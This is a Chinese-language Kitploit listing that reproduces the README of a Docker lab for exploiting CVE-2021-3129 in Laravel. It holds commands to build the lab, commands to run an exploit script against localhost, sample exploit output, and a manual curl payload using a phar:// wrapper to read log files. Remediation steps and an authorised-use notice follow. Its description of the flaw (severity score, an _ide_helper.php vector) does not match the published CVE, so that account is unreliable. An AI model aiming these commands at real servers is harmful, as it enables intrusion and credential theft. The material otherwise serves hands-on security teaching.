Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-3129-Lab — CVE-2021-3129: Laravel调试模式远程代码执行 - 包含Python利用脚本、Docker容器和安全分析指南的完整漏洞利用实验室。 | Kitploit
工具/GitHubGitHub/thenareshofficial/cve-2021-3129-lab
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubthenareshofficial/cve-2021-3129-lab

CVE-2021-3129-Lab

CVE-2021-3129: Laravel调试模式远程代码执行 - 包含Python利用脚本、Docker容器和安全分析指南的完整漏洞利用实验室。

查看仓库
1283个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-3129: Laravel调试模式RCE实验环境

License: MIT Python 3.8+ Docker CVSS: 7.5

用于利用CVE-2021-3129的实践实验环境 - 这是一个关键的Laravel漏洞,允许未认证的文件读取和潜在的远程代码执行。

快速开始

# Clone
git clone https://github.com/theNareshofficial/CVE-2021-3129-Lab.git
cd CVE-2021-3129-Lab

# Build & Run
docker build -t cve-2021-3129-lab:latest .
docker run -d --name laravel-cve-2021-3129 -p 8080:80 cve-2021-3129-lab:latest

# Test
curl http://localhost:8080/_ide_helper.php

# Exploit
python3 cve_2021_3129_exploit.py http://localhost:8080

什么是CVE-2021-3129?

属性详情
严重性CVSS 7.5(高)
受影响版本Laravel < 8.4.2, < 7.30.4
影响任意文件读取、信息泄露、潜在RCE
是否需要认证否
攻击向量网络

工作原理

  1. 侦察 - 识别启用调试模式的Laravel
  2. 验证 - 测试/_ide_helper.php端点
  3. 利用 - 使用phar://包装器读取文件
  4. 影响 - 提取凭据、API密钥、环境变量

前提条件

  • Docker Desktop
  • Python 3.8+
  • 4GB内存

设置(逐步)

# 1. Clone
git clone https://github.com/theNareshofficial/CVE-2021-3129-Lab.git
cd CVE-2021-3129-Lab

# 2. Build container
docker build -t cve-2021-3129-lab:latest .

# 3. Run container
docker run -d --name laravel-cve-2021-3129 -p 8080:80 cve-2021-3129-lab:latest

# 4. Verify endpoint
curl http://localhost:8080/_ide_helper.php

# 5. Run exploit
python3 cve_2021_3129_exploit.py http://localhost:8080

预期输出

[✓✓✓] CVE-2021-3129 VULNERABILITY CONFIRMED!

VULNERABILITY DETAILS:
- Debug mode is ENABLED (APP_DEBUG=true)
- _ide_helper.php is ACCESSIBLE
- Arbitrary file read is POSSIBLE
- Sensitive information LEAKED

利用方法

# Basic
python3 cve_2021_3129_exploit.py http://localhost:8080

# Custom timeout
python3 cve_2021_3129_exploit.py http://localhost:8080 --timeout 10

# Help
python3 cve_2021_3129_exploit.py -h

手动测试

# Test endpoint
curl http://localhost:8080/_ide_helper.php

# Test with payload
curl 'http://localhost:8080/_ide_helper.php?subject=phar://storage/logs/laravel.log'

修复建议

# 1. Set APP_DEBUG=false in .env
# 2. Remove _ide_helper.php
# 3. Update Laravel to patched version (8.4.2+, 7.30.4+)
# 4. Restart application

清理

# Stop container
docker stop laravel-cve-2021-3129

# Remove container
docker rm laravel-cve-2021-3129

# Remove image
docker rmi cve-2021-3129-lab:latest

常见问题

问:我可以在互联网上测试吗?
答:不可以。这仅用于本地主机。切勿在不属于你的系统上进行测试。

问:这个漏洞利用在已修补的版本上有效吗?
答:无效。Laravel 8.4.2+ 和 7.30.4+ 已经修补。

问:我可以修改利用脚本吗?
答:可以。代码已完全注释以便学习。

问:如何捕获网络流量?
答:使用 tcpdump 或 Wireshark:

sudo tcpdump -i lo -w capture.pcapng 'tcp port 8080'
# In another terminal, run the exploit
python3 cve_2021_3129_exploit.py http://localhost:8080
# Open capture: wireshark capture.pcapng

法律声明

⚠️ 仅用于教育目的

✅ 授权用途:

  • 教育学习
  • 授权的安全测试
  • 防御性研究

❌ 禁止用途:

  • 未经授权的系统访问
  • 非法黑客行为
  • 系统破坏

仅在你拥有或已获得明确测试许可的系统上使用。

参考资料

  • CVE-2021-3129
  • Laravel Security
  • PHP Wrappers

作者

Naresh R (@theNareshofficial)

  • GitHub: https://github.com/theNareshofficial
  • YouTube: https://www.youtube.com/@nareshtechweb930
  • 地点:印度卡纳塔克邦班加罗尔

许可证

MIT许可证 - 详见LICENSE文件

下载工具